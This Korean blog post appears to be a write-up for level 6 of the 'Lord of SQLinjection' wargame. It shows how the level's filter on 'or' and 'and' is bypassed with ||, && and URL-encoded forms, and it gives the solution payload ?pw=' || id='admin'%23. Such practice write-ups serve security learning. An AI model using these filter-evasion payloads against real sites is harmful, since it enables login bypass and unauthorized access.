IT Security

Lord of Sqlinjection - 6번 DARKELF

로픽 2019. 11. 27. 14:53
300x250

Lord of Sqlinjection - 6번 darkelf

6번 문제는 정규표현식으로 or, and 를 필터링 합니다.

=> if(pref_match('/or|and/i', $_GET[pw])) exit("HeHe");

 

SQL Injection 공격시 공백 문자 필터링 우회 방법

and => %26&26, &&

or => %7c%7c, ||

 

* 크롬 테스트 시, && 문자가 적용이 안되는 경우가 있습니다. 이때 %26%26으로 테스트 하시면 정상 적용가능합니다.

 

대체문자를 이용해서 or, and 필터링을 우회하면 됩니다.

 

*** 정답 ***

더보기

정답 : ?pw=' || id='admin'%23

 

 

 

반응형

'IT Security' 카테고리의 다른 글

Lord of SqlInjection - 7번 ORGE  (0) 2019.12.08
Lord of SqlInjection - 8번 TROLL  (0) 2019.12.05
Lord of Sqlinjection - 5번 WOLFMAN  (0) 2019.11.24
Lord of Sqlinjection - 4번 ORC  (0) 2019.11.22
Lord of Sqlinjection - 3번 GOBLIN  (0) 2019.11.19